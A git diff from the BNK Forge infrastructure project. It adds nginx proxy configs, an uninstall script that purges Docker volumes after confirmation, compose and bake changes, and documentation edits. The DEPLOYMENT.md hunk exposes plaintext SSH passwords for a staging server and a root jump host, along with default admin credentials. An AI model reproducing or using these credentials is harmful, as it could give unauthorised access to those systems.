admin / changeme" +echo "" +echo " Next steps:" +echo " 1. Change your password on first login" +echo " 2. Browse deployable blueprints in Build → Catalog" +echo " 3. Create your first project in Build → Projects" +echo "=========================================" diff --git a/dist/nginx/frontend.local.conf b/dist/nginx/frontend.local.conf new file mode 100644 index 00000000..e5049489 --- /dev/null +++ b/dist/nginx/frontend.local.conf @@ -0,0 +1,57 @@ +# Local laptop variant — uses Docker DNS names instead of localhost. +# Mounted by docker-compose.local.yml to replace the default nginx config. +# See frontend-v2/nginx.conf for the server (host networking) version. +server { + listen 8080; + server_name _; + root /usr/share/nginx/html; + index index.html; + + server_tokens off; + + # Main app - SPA fallback to index.html + location / { + try_files $uri $uri/ /index.html; + } + + # Static assets — long cache with immutable hint + location /assets/ { + expires 1y; + add_header Cache-Control "public, immutable"; + } + + # Proxy API requests to backend — Docker DNS name + location /api/ { + proxy_pass http://backend:8000; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection 'upgrade'; + proxy_set_header Host $host; + proxy_cache_bypass $http_upgrade; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_connect_timeout 300s; + proxy_send_timeout 300s; + proxy_read_timeout 300s; + + proxy_buffering off; + } + + # WebSocket proxy — Docker DNS name + location /ws/ { + proxy_pass http://backend:8000; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_connect_timeout 7d; + proxy_send_timeout 7d; + proxy_read_timeout 7d; + } +} diff --git a/dist/nginx/proxy.local.conf b/dist/nginx/proxy.local.conf new file mode 100644 index 00000000..6b09168c --- /dev/null +++ b/dist/nginx/proxy.local.conf @@ -0,0 +1,183 @@ +# Local laptop variant — uses Docker DNS names instead of localhost. +# Mounted by docker-compose.local.yml to replace nginx.conf in the container. +# See proxy/nginx.conf for the server (host networking) version. + +resolver 127.0.0.11 valid=30s ipv6=off; + +# SEC-005: Rate limiting zones +limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m; +limit_req_zone $binary_remote_addr zone=api:10m rate=30r/s; + +# HTTP -> HTTPS redirect +server { + listen 8080; + server_name _; + + location / { + return 301 https://$host$request_uri; + } +} + +server { + listen 8443 ssl; + server_name _; + + # TLS configuration — self-signed cert generated at container startup + ssl_certificate /etc/nginx/ssl/server.crt; + ssl_certificate_key /etc/nginx/ssl/server.key; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers HIGH:!aNULL:!MD5; + ssl_prefer_server_ciphers on; + ssl_session_cache shared:SSL:10m; + ssl_session_timeout 10m; + + add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; + + server_tokens off; + + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-Content-Type-Options "nosniff" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:; font-src 'self' data:; connect-src 'self' wss: ws:; frame-ancestors 'self'; base-uri 'self'; form-action 'self'" always; + + gzip on; + gzip_vary on; + gzip_proxied any; + gzip_comp_level 4; + gzip_min_length 256; + gzip_types + text/plain + text/css + text/javascript + application/json + application/javascript + application/xml + application/xml+rss + image/svg+xml; + + client_max_body_size 100M; + + # ROI Tool — not included in local laptop stack. + # On the server, ROI runs as a separate service on ports 3030/3031. + + # MCP Server — AI-accessible tools via Streamable HTTP + # Clients connect to: https:///mcp + location = /mcp { + set $mcp_upstream http://mcp:8081; + proxy_pass $mcp_upstream/mcp; + proxy_http_version 1.1; + + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_connect_timeout 120s; + proxy_send_timeout 120s; + proxy_read_timeout 120s; + + proxy_buffering off; + proxy_cache off; + + proxy_pass_header Mcp-Session-Id; + proxy_pass_header MCP-Protocol-Version; + } + + # Frontend SPA — Docker DNS name instead of localhost + location / { + set $frontend_upstream http://frontend:8080; + proxy_pass $frontend_upstream; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + add_header Cache-Control "no-cache, no-store, must-revalidate" always; + add_header Pragma "no-cache" always; + add_header Expires "0" always; + } + + # Login rate limit + location = /api/auth/login { + limit_req zone=login burst=3 nodelay; + limit_req_status 429; + + set $backend_upstream http://backend:8000; + proxy_pass $backend_upstream; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + # SSE connectivity stream — must defeat all proxy buffering/caching/gzip, + # otherwise the browser sees zero events until the response ends. Match the + # exact path so the more-permissive /api/ block doesn't take over. + location = /api/connectivity/watch { + proxy_pass http://backend:8000; + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_buffering off; + proxy_cache off; + gzip off; + + proxy_connect_timeout 5s; + proxy_send_timeout 86400s; + proxy_read_timeout 86400s; + + chunked_transfer_encoding on; + } + + # Backend API proxy — Docker DNS name + location /api/ { + limit_req zone=api burst=50 nodelay; + limit_req_status 429; + + set $backend_upstream http://backend:8000; + proxy_pass $backend_upstream; + proxy_http_version 1.1; + + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_connect_timeout 300s; + proxy_send_timeout 300s; + proxy_read_timeout 300s; + + proxy_buffering off; + } + + # WebSocket proxy — Docker DNS name + location /ws/ { + set $backend_upstream http://backend:8000; + proxy_pass $backend_upstream; + proxy_http_version 1.1; + + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_connect_timeout 600s; + proxy_send_timeout 600s; + proxy_read_timeout 600s; + + proxy_buffering off; + } +} diff --git a/dist/secrets/.gitkeep b/dist/secrets/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/dist/uninstall.sh b/dist/uninstall.sh new file mode 100644 index 00000000..fd02fb24 --- /dev/null +++ b/dist/uninstall.sh @@ -0,0 +1,200 @@ +#!/usr/bin/env bash +# ============================================================================= +# BNK Forge — Uninstaller +# ============================================================================= +# +# Usage: +# ./uninstall.sh # Stop containers, keep data volumes +# ./uninstall.sh --purge # Stop containers AND delete all data +# ./uninstall.sh --help # Show help +# +# This script stops all BNK Forge containers and optionally removes volumes. +# +set -euo pipefail + +# ── Defaults ───────────────────────────────────────────────────────────────── +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PURGE=false +FORCE=false + +# ── Colors ─────────────────────────────────────────────────────────────────── +RED='\033[0;31m' +YELLOW='\033[1;33m' +GREEN='\033[0;32m' +NC='\033[0m' # No Color + +# ── Parse arguments ────────────────────────────────────────────────────────── +while [[ $# -gt 0 ]]; do + case "$1" in + --purge|-p) + PURGE=true + shift + ;; + --force|-f) + FORCE=true + shift + ;; + --help|-h) + echo "BNK Forge Uninstaller" + echo "" + echo "Usage:" + echo " ./uninstall.sh Stop containers (keeps data volumes)" + echo " ./uninstall.sh --purge Stop containers AND delete all data" + echo " ./uninstall.sh --force Skip confirmation prompts" + echo "" + echo "Options:" + echo " --purge, -p Remove all volumes (database, projects, keys, etc.)" + echo " --force, -f Skip confirmation prompts" + echo " --help, -h Show this help" + echo "" + echo "Volumes that will be removed with --purge:" + echo " - postgres_data PostgreSQL database" + echo " - postgres_backups Database backups" + echo " - redis_data Redis cache" + echo " - bnk-forge-data Projects and configurations" + echo " - bnk-forge-keys SSH keys and credentials" + echo " - state_data OpenTofu state files" + echo " - workspace_data OpenTofu workspaces" + echo " - helm_cache Helm repository cache" + echo " - helm_config Helm configuration" + echo " - helm_charts Uploaded Helm charts" + echo " - module_catalog Module library cache" + exit 0 + ;; + *) + echo "Unknown option: $1" + echo "Run: ./uninstall.sh --help" + exit 1 + ;; + esac +done + +cd "$SCRIPT_DIR" + +# ── Determine compose command ──────────────────────────────────────────────── +# Check if local overlay exists and was used +if [ -f docker-compose.local.yml ]; then + COMPOSE_CMD="docker compose -f docker-compose.yml -f docker-compose.local.yml" +else + COMPOSE_CMD="docker compose" +fi + +# ── Show current status ────────────────────────────────────────────────────── +echo "" +echo "=========================================" +echo " BNK Forge — Uninstall" +echo "=========================================" +echo "" +echo " Version: $(cat VERSION 2>/dev/null || echo 'unknown')" +echo "" + +# Check if any containers are running +RUNNING=$($COMPOSE_CMD ps --status running -q 2>/dev/null | wc -l | tr -d ' ') +if [ "$RUNNING" -gt 0 ]; then + echo " Running containers: $RUNNING" + $COMPOSE_CMD ps --status running 2>/dev/null || true +else + echo " No containers running" +fi +echo "" + +# ── Confirmation ───────────────────────────────────────────────────────────── +if [ "$PURGE" = true ]; then + echo -e "${RED}⚠️ WARNING: --purge will delete ALL data including:${NC}" + echo " • PostgreSQL database (projects, users, settings)" + echo " • Redis cache" + echo " • Project files and configurations" + echo " • SSH keys and credentials" + echo " • OpenTofu state files (CRITICAL for infra management!)" + echo " • Helm charts and cache" + echo "" + + if [ "$FORCE" = false ]; then + echo -e "${YELLOW}This action is IRREVERSIBLE. Data cannot be recovered.${NC}" + echo "" + read -p "Type 'DELETE ALL DATA' to confirm: " confirmation + if [ "$confirmation" != "DELETE ALL DATA" ]; then + echo "" + echo "Uninstall cancelled." + exit 1 + fi + fi +fi + +if [ "$FORCE" = false ] && [ "$PURGE" = false ]; then + read -p "Stop all BNK Forge containers? [y/N] " confirm + if [[ ! "$confirm" =~ ^[Yy]$ ]]; then + echo "Uninstall cancelled." + exit 1 + fi +fi + +# ── Stop containers ────────────────────────────────────────────────────────── +echo "" +echo "=== Stopping containers ===" +$COMPOSE_CMD down 2>/dev/null || echo " No containers to stop" +echo -e " ${GREEN}✓${NC} Containers stopped" + +# ── Remove volumes if --purge ──────────────────────────────────────────────── +if [ "$PURGE" = true ]; then + echo "" + echo "=== Removing volumes ===" + + # Get the project name — must match what docker compose uses (volumes are _). + # Compose reads COMPOSE_PROJECT_NAME from .env; otherwise it normalizes the + # directory name (lowercase, invalid chars like '.' stripped). + PROJECT_NAME=$(grep -E '^COMPOSE_PROJECT_NAME=' .env 2>/dev/null | head -1 | cut -d= -f2) + if [ -z "$PROJECT_NAME" ]; then + PROJECT_NAME=$(basename "$SCRIPT_DIR" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_-]//g') + fi + + # List of volumes defined in docker-compose.yml + VOLUMES=( + "postgres_data" + "postgres_backups" + "redis_data" + "bnk-forge-data" + "bnk-forge-keys" + "state_data" + "workspace_data" + "helm_cache" + "helm_config" + "helm_charts" + "module_catalog" + ) + + for vol in "${VOLUMES[@]}"; do + FULL_VOL="${PROJECT_NAME}_${vol}" + if docker volume inspect "$FULL_VOL" &>/dev/null; then + docker volume rm "$FULL_VOL" 2>/dev/null && \ + echo " Removed: $FULL_VOL" || \ + echo " Failed to remove: $FULL_VOL (may be in use)" + fi + done + + echo -e " ${GREEN}✓${NC} Volumes removed" +fi + +# ── Remove images (optional, commented out) ────────────────────────────────── +# Uncomment to also remove pulled images: +# echo "" +# echo "=== Removing images ===" +# docker images | grep bnk-forge | awk '{print $3}' | xargs docker rmi 2>/dev/null || true + +# ── Summary ────────────────────────────────────────────────────────────────── +echo "" +echo "=========================================" +if [ "$PURGE" = true ]; then + echo -e " ${GREEN}✅ BNK Forge completely removed${NC}" + echo "" + echo " All containers stopped and volumes deleted." + echo " To reinstall: ./install.sh" +else + echo -e " ${GREEN}✅ BNK Forge stopped${NC}" + echo "" + echo " Containers stopped. Data volumes preserved." + echo " To restart: docker compose up -d" + echo " To reinstall: ./install.sh" + echo " To purge all: ./uninstall.sh --purge" +fi +echo "=========================================" diff --git a/docker-bake.hcl b/docker-bake.hcl index 2e58fb5f..52e486d2 100644 --- a/docker-bake.hcl +++ b/docker-bake.hcl @@ -21,7 +21,7 @@ variable "SOURCE_URL" { } group "default" { - targets = ["api", "worker", "beat", "frontend", "proxy", "mcp"] + targets = ["api", "worker", "beat", "frontend", "proxy", "mcp", "operator"] } target "_common" { @@ -35,8 +35,11 @@ target "_common" { } target "_backend" { - inherits = ["_common"] - context = "./backend" + inherits = ["_common"] + // Repo root, not ./backend — the VERSION file lives above backend/ and the + // image needs it (see backend/Dockerfile). Matches the frontend target. + context = "." + dockerfile = "backend/Dockerfile" } target "api" { @@ -92,4 +95,14 @@ target "mcp" { ["${REGISTRY}/bnk-forge-mcp:${VERSION}"], ROLLING_TAG != "" ? ["${REGISTRY}/bnk-forge-mcp:${ROLLING_TAG}"] : [], ) +} + +target "operator" { + inherits = ["_common"] + context = "./bnk-operator" + target = "runtime" + tags = concat( + ["${REGISTRY}/bnk-forge-operator:${VERSION}"], + ROLLING_TAG != "" ? ["${REGISTRY}/bnk-forge-operator:${ROLLING_TAG}"] : [], + ) } \ No newline at end of file diff --git a/docker-compose.adr424.yml b/docker-compose.adr424.yml new file mode 100644 index 00000000..f9c34e46 --- /dev/null +++ b/docker-compose.adr424.yml @@ -0,0 +1,61 @@ +# ADR-424 per-developer isolated stack overlay. +# Layered AFTER docker-compose.yml + docker-compose.local.yml so this stack can +# run alongside other feature-branch stacks without colliding on host ports, the +# host-global `bnk-forge-*` container names, or the SHARED `bnk-forge-*:latest` +# image tags. +# container_name: !reset null → project-prefixed default names +# ports: !override [] → publish NOTHING on the host (internal bridge only) +# ports: !override [...] → replace host port mapping +# image: adr424-* → project-scoped image tags +# +# Entrypoint: https://localhost:11443 (admin / changeme) +# Bring up command: +# docker compose -p adr424 \ +# -f docker-compose.yml -f docker-compose.local.yml -f docker-compose.adr424.yml \ +# up -d --build proxy frontend backend postgres redis celery-worker +# Tear down command: +# docker compose -p adr424 \ +# -f docker-compose.yml -f docker-compose.local.yml -f docker-compose.adr424.yml \ +# down -v + +services: + postgres: + container_name: !reset null + ports: !override + - "35432:5432" + redis: + container_name: !reset null + ports: !override [] + backend: + container_name: !reset null + image: adr424-api:latest + ports: !override [] + celery-worker: + container_name: !reset null + image: adr424-worker:latest + celery-worker-2: + container_name: !reset null + image: adr424-worker:latest + celery-beat: + container_name: !reset null + image: adr424-api:latest + docker-socket-proxy: + container_name: !reset null + frontend: + container_name: !reset null + image: adr424-web:latest + ports: !override [] + proxy: + container_name: !reset null + image: adr424-proxy:latest + ports: !override + - "11443:8443" + mcp: + container_name: !reset null + image: adr424-mcp:latest + ports: !override [] + postgres-backup: + container_name: !reset null + forge-agent: + container_name: !reset null + image: adr424-agent:latest diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index bf137c79..4cd4d165 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -21,7 +21,8 @@ services: backend: build: - context: ./backend + context: . + dockerfile: backend/Dockerfile target: api args: BUILD_DEV: "true" @@ -73,7 +74,8 @@ services: celery-worker: build: - context: ./backend + context: . + dockerfile: backend/Dockerfile target: worker args: BUILD_DEV: "true" diff --git a/docker-compose.local.yml b/docker-compose.local.yml index 109176b9..0fa31a8b 100644 --- a/docker-compose.local.yml +++ b/docker-compose.local.yml @@ -72,6 +72,9 @@ services: - module_catalog:/tmp/bnk-forge-modules - bnk-forge-data:/app/projects - bnk-forge-keys:/app/keys + # This override REPLACES the base volume list, so the agent bootstrap + # token mount must be repeated here (#148). + - bnk-forge-agent-token:/app/agent-token - state_data:/app/state - helm_cache:/home/bnkforge/.cache/helm - helm_config:/home/bnkforge/.config/helm diff --git a/docker-compose.yml b/docker-compose.yml index fac827eb..c74594a9 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -108,7 +108,8 @@ services: backend: build: - context: ./backend + context: . + dockerfile: backend/Dockerfile target: api image: bnk-forge-api:latest container_name: bnk-forge-backend @@ -124,6 +125,9 @@ services: - module_catalog:/tmp/bnk-forge-modules - bnk-forge-data:/app/projects - bnk-forge-keys:/app/keys + # Bootstrap token for the built-in forge-agent, minted at startup (#148). + # Its own volume so the agent can be handed this file and nothing else. + - bnk-forge-agent-token:/app/agent-token - state_data:/app/state - helm_cache:/home/bnkforge/.cache/helm - helm_config:/home/bnkforge/.config/helm @@ -161,7 +165,8 @@ services: celery-worker: build: - context: ./backend + context: . + dockerfile: backend/Dockerfile target: worker image: bnk-forge-worker:latest container_name: bnk-forge-celery-worker @@ -341,7 +346,8 @@ services: celery-beat: build: - context: ./backend + context: . + dockerfile: backend/Dockerfile target: beat image: bnk-forge-beat:latest container_name: bnk-forge-celery-beat @@ -498,8 +504,21 @@ services: FORGE_URL: http://localhost:8000 AGENT_NAME: ${FORGE_AGENT_NAME:-forge-local} AGENT_TOKEN: ${FORGE_AGENT_TOKEN:-} + # Bootstrap token the backend mints at startup (#148). Used only when + # AGENT_TOKEN is empty, so an operator-provided token still wins. + AGENT_TOKEN_FILE: /run/forge/builtin_agent.token # Leave blank to let the agent resolve its own IP via socket AGENT_ADVERTISE_IP: ${FORGE_AGENT_ADVERTISE_IP:-} + volumes: + # A DEDICATED volume holding only the bootstrap token -- never the keys + # volume, which also holds jwt_secret.key and encryption.key. (A volume + # `subpath` into the keys volume was tried and rejected: Docker refuses to + # create a container whose subpath does not exist yet, which is exactly + # the state on a cold first boot before the backend has written anything. + # A separate named volume is created empty and needs no ordering.) The + # token is deliberately narrow (role=agent, no agent_id): it can register + # and open a claimless WS, nothing more. + - bnk-forge-agent-token:/run/forge:ro depends_on: backend: condition: service_healthy @@ -612,6 +631,9 @@ volumes: driver: local bnk-forge-keys: driver: local + # Holds ONLY builtin_agent.token. Backend writes, forge-agent reads (ro). + bnk-forge-agent-token: + driver: local state_data: driver: local workspace_data: diff --git a/docs/API_REFERENCE.md b/docs/API_REFERENCE.md index c397f820..fc4ce794 100644 --- a/docs/API_REFERENCE.md +++ b/docs/API_REFERENCE.md @@ -118,13 +118,13 @@ Some endpoints use ownership checks instead of role checks: | Method | Path | Auth | Request Body | Response Model | Description | |--------|------|------|-------------|----------------|-------------| -| GET | `/api/projects` | viewer | — | `ProjectListResponse` | List all projects | +| GET | `/api/projects` | viewer | — | `ProjectListResponse` | List all projects. Each item carries `module_state` (`clean`/`in_progress`/`failed`) | | POST | `/api/projects` | operator | `ProjectCreate` | `ProjectMutationResponse` | Create a project | | GET | `/api/projects/active` | viewer | — | `ActiveProjectResponse` | Get active project | -| GET | `/api/projects/{project_id}` | viewer | — | `ProjectDetailResponse` | Get project detail | +| GET | `/api/projects/{project_id}` | viewer | — | `ProjectDetailResponse` | Get project detail. `module_state` is the single field to poll for teardown completion — `clean` means no module still owns cloud resources | | PUT | `/api/projects/{project_id}` | owner | `ProjectUpdate` | `ProjectMutationResponse` | Update project | | PUT | `/api/projects/{project_id}/dependencies` | owner | `list[ProjectDependencyItem]` | `ProjectDependenciesResponse` | Set cross-project deps | -| DELETE | `/api/projects/{project_id}` | owner | — | `SuccessResponse` | Delete project (query: `force`) | +| DELETE | `/api/projects/{project_id}` | owner | — | `SuccessResponse` | Delete project. **409** when any module still owns cloud resources (query: `force=true` to abandon them deliberately) | | POST | `/api/projects/{project_id}/activate` | owner | — | `ProjectMutationResponse` | Set as active project | | POST | `/api/projects/{project_id}/transfer` | owner | `TransferOwnershipRequest` | `TransferOwnershipResponse` | Transfer ownership | @@ -197,6 +197,7 @@ All paths prefixed with `/api/projects`. |--------|------|------|-------------| | GET | `/{module_id}/logs` | viewer | Get deployment logs (query: `limit`, `level`) | | GET | `/{module_id}/deployments` | viewer | Get deployment history (query: `action`, `status`, `limit`) | +| GET | `/{module_id}/deployments/{deployment_id}/output` | viewer | Get a run's captured stdout/stderr (query: `max_bytes`; keeps the tail when it exceeds the cap) | | GET | `/project/{project_id}/deployments` | viewer | Get all deployments in project | | GET | `/{module_id}/state-info` | viewer | Get state file metadata | | GET | `/{module_id}/state-resources` | viewer | Get managed resources list | @@ -271,6 +272,8 @@ All paths prefixed with `/api/projects`. | POST | `/api/k8s/clusters/{cluster_id}/scan` | cluster_owner | — | Scan cluster prerequisites (`ClusterScanEnvelope`) | | POST | `/api/k8s/clusters/{cluster_id}/adaptive-modules` | cluster_owner | `AdaptiveModuleRequest` | Generate adaptive deploy plan | | POST | `/api/k8s/clusters/{cluster_id}/adaptive-modules/from-scan` | cluster_owner | `AdaptiveModuleRequest` | Adaptive plan from cached scan | +| POST | `/api/k8s/clusters/{cluster_id}/bnk-config` | cluster_owner | `BnkClusterConfigCreateRequest` | Create or update BNK cluster config (tmfifo pool CIDR, join transport, CP host) | +| POST | `/api/k8s/clusters/{cluster_id}/bnk-members` | cluster_owner | `BnkClusterMemberAssignRequest` | Assign bare-metal hosts and DPUs to a BNK cluster with tmfifo IP allocation | --- diff --git a/docs/DEPLOYMENT.md b/docs/DEPLOYMENT.md index ded04f7b..99599aa3 100644 --- a/docs/DEPLOYMENT.md +++ b/docs/DEPLOYMENT.md @@ -47,6 +47,8 @@ open https://localhost That's it. The database migrations run automatically on startup. All 9 containers will start in the correct order with health check dependencies. +Need the host itself provisioned too? [`vm-bnk-forge/`](../vm-bnk-forge/README.md) builds a fresh Ubuntu 24.04 VM (local KVM or any cloud that takes cloud-init user-data) that runs these steps unattended on first boot. + --- ## First Login @@ -589,7 +591,7 @@ BNK Forge is deployed on a test server for staging and demos. | **ROI Tool** | `https://10.176.11.91/roi/` | | **SSH** | `ubuntu@10.176.11.91` (pw: `F5@apcj`) | | **PVE Jump** | `root@10.176.10.132` (pw: `F5@apcj`) → SSH to .91 | -| **VM** | Proxmox VM 150 (webdemo2) — 8 CPU, 16GB RAM, 52GB disk | +| **VM** | Proxmox VM 150 (webdemo2) — 8 CPU, 16GB RAM, 52GB disk (`vm-bnk-forge/` takes its 8 vCPU / 16 GB defaults from this reference; it defaults to a 100 GiB disk) | | **OS** | Ubuntu 22.04 LTS | | **Docker** | 28.1.1 | diff --git a/docs/DOCKER.md b/docs/DOCKER.md index 59576a83..f25eaeb7 100644 --- a/docs/DOCKER.md +++ b/docs/DOCKER.md @@ -149,6 +149,17 @@ All CLI tool downloads are pinned by version **and** verified by SHA256 checksum If a download is tampered with, the build fails immediately with a checksum mismatch. +### Building Behind Corporate DLP TLS Interception + +Corporate DLP-managed workstations TLS-intercept `github.com` traffic with an internal CA (`ca.f5.goskope.com`). Inside a `docker build` container, `RUN curl https://github.com/...` fails with `curl: (60) SSL certificate problem` because build containers do not inherit the host OS trust store. + +Per F5 KB57735 and [D-035](adr/D-035-docker-netskope-tls-interception.md): +- `github.com` downloads (`tofu`, `llmtop`) use Docker `ADD`, which fetches through the host Docker daemon trust store without baking CA certs into the image or using `curl -k`. +- Non-intercepted downloads (`get.helm.sh`, `dl.k8s.io`, `awscli.amazonaws.com`) continue to use `curl`. +- Per-architecture SHA256 checksum verification (`sha256sum -c`) remains strictly enforced for all downloaded binaries. + +Because `ADD` (unlike `curl`) has no built-in retry, a transient CDN/TLS blip aborts the whole build. For from-scratch builds on DLP-managed workstations use `make build-retry` (tune with `RETRY_ATTEMPTS` / `RETRY_DELAY`); BuildKit's layer cache makes each retry cheap. + ### Updating Tool Versions When bumping a tool version: diff --git a/docs/INSTALLATION.md b/docs/INSTALLATION.md index 94c6facb..c3e1e2fa 100644 --- a/docs/INSTALLATION.md +++ b/docs/INSTALLATION.md @@ -10,6 +10,7 @@ This guide covers installing BNK Forge on various environments. - [System Requirements](#system-requirements) - [Local Development](#local-development) - [Production Deployment](#production-deployment) +- [Provisioned VM (KVM or cloud-init)](#provisioned-vm-kvm-or-cloud-init) - [Configuration Options](#configuration-options) - [Verify Installation](#verify-installation) - [First Steps After Installation](#first-steps-after-installation) @@ -240,6 +241,35 @@ make server-logs # Tail logs --- +## Provisioned VM (KVM or cloud-init) + +The steps above assume a host you already have. To get a **fresh** VM that +installs BNK Forge unattended on first boot, use the harness in +[`vm-bnk-forge/`](../vm-bnk-forge/README.md) — it renders a cloud-init that +installs Docker, clones the repo, and runs `make install`. + +```bash +cd vm-bnk-forge +cp config.env.example config.env +$EDITOR config.env # VM_NAME, sizing, BRANCH (pin a release tag for demos) + +./make-vm.sh # Linux + KVM host: builds a seed disk and virt-installs +./render-cloud-init.sh # any host: emits user-data to paste into a cloud provider +``` + +Roughly six minutes later the VM serves `https://:8443` with every +container healthy (8443/8082, since `make install` runs the host-networked +server topology). The VM path applies the same hardening this guide describes: +`ufw` is enabled during cloud-init for 22 plus those proxy ports, sshd is +key-only with root login disabled, and the GitHub deploy key is shredded once +the clone completes. + +The default credentials (`admin` / `changeme`) and the Docker-socket mount +still apply — read the README's security notes before giving such a VM a +public address. + +--- + ## Configuration Options Most configuration is done in the GUI after startup at **Settings → Environment Config**. diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 1cd0bcb0..12a346f2 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -55,6 +55,8 @@ Source sweep: memories + ADRs (D-001…D-028) + GitHub issues + open PRs, 2026-0 | **Runner-image supply chain — default-on allowlist + cosign verification** | ⚪ Planned | [#466](https://github.com/f5devcentral/bnk-forge/issues/466) | verify_signature() is a no-op and the runtime host allowlist fails open when unset; trust today = index PR review + digest immutability + sandbox. Default the runtime allowlist, add cosign warn-only → enforce. Gate for promoting content-index registration beyond first-party authors. | | **Retire cli-bnkctl subprocess engine; de-terraform generic pack sync** | ⚪ Planned | [#467](https://github.com/f5devcentral/bnk-forge/issues/467) | Phase 4 of the ctl-runner review. awsbnkctl becomes a tools-runner image in bnkctl-index (proves the generic model on a cloud-credential tool), then BnkctlEngine + cli_bnkctl_module_seeder are deleted. Sync stops running terraform-config-inspect on container packs, stops defaulting unknown engines to opentofu, and takes category/provider from the manifest. | | **Container-runner** | ⚪ Planned | [#469](https://github.com/f5devcentral/bnk-forge/issues/469) · [#470](https://github.com/f5devcentral/bnk-forge/issues/470) · [#471](https://github.com/f5devcentral/bnk-forge/issues/471) · [#472](https://github.com/f5devcentral/bnk-forge/issues/472) | Low-priority follow-ups from the PR #468 review (F1/F2/amber/hardlink/allowlist-drift already fixed in-PR). #469 boot-sync: advisory lock held for whole clone (idle-in-txn), boot-vs-force-sync uncovered, skip-branch untested. #470 report readback: mirror `..` rejection on rendered dir, reject non-UTF8 instead of mojibake. #471 action dialog: handleSubmit double-click re-guard, invalidate reports on action, escaping-regression test. #472 validator: test main() CLI paths, align path-equality with the sync stripped value. | +| **Container-module deploy diagnosability — blank failure reason, secret_files/step collision** | ⚪ Planned | [#479](https://github.com/f5devcentral/bnk-forge/issues/479) · [#480](https://github.com/f5devcentral/bnk-forge/issues/480) | Both surfaced debugging a live ocibnkctl deploy that failed at its first step. #479 every engine's failure transitions audit with an empty reason — set_locked_module_fields strips status and hands off to transition_module_status without forwarding a reason, though the cause is already in fields[deployment_error]; one shared fix covers opentofu/ssh/tmos/cli-bnkctl/ansible/container/k8s. #480 artifact validation accepts a secret_files path colliding with a step's target dir (materialization creates the parent before any step runs), making a module permanently un-deployable and unrecoverable by retry — run_once then skips init so the retry fails downstream at the wrong step. | +| **Catalog version history only accrues by observation — fresh Forge cannot reach older ctl versions** | ⚪ Planned | [#482](https://github.com/f5devcentral/bnk-forge/issues/482) | D-033 version rows are created only by observing a bump during a sync, and a content repo publishes one version at HEAD — so the version list is a function of how long that Forge has watched the repo, not of what versions exist. A fresh install sees exactly one version and cannot redeploy a known-good older ctl release (ocibnkctl has 14 upstream releases; bnkctl-index publishes one pack dir). Mechanism works as designed (module_sync_service._upsert_pack_module; _inactivate_stale_manifest_modules prunes by path so accrued rows do persist) — the design just cannot serve the use case. Directions: index publishes one pack per released version (zero backend change, but module.path must equal the dir path so per-version dirs fragment the version axis into separate modules); a source type enumerating upstream GitHub releases; or on-demand backfill from the content repo git history. Stopgap today: re-point git_ref at successive older commits and sync each. | ## 2. D-019 / D-018 dynamic-by-default — epic detail diff --git a/docs/TESTING.md b/docs/TESTING.md index 1c666ee7..26430fd6 100644 --- a/docs/TESTING.md +++ b/docs/TESTING.md @@ -77,7 +77,8 @@ make coverage # Backend + frontend coverage reports | `make test-proxy` | ~5s | `pytest tests/test_proxy_config.py` | | `make test-operator` | ~5s | `pytest` in `bnk-operator/` (skips if no venv) | | `make test-db` | ~5s | `pytest tests/test_migrations.py` | -| `make test-integration-full` | ~5m | Full-stack integration (requires running Docker) | +| `make test-integration` | ~4m | Integration tests, default marker set (everything except `full`) | +| `make test-integration-full` | ~5m | Full-stack integration (`-m full`) | | `make test-e2e` | ~5m | Playwright E2E tier 1 | | `make test-e2e-tier2` | ~60m | Playwright E2E tier 2 (requires AWS) | | `make coverage` | ~2m | Coverage reports for backend + frontend | diff --git a/docs/adr/ADR-424-multi-host-dpu-single-cluster.md 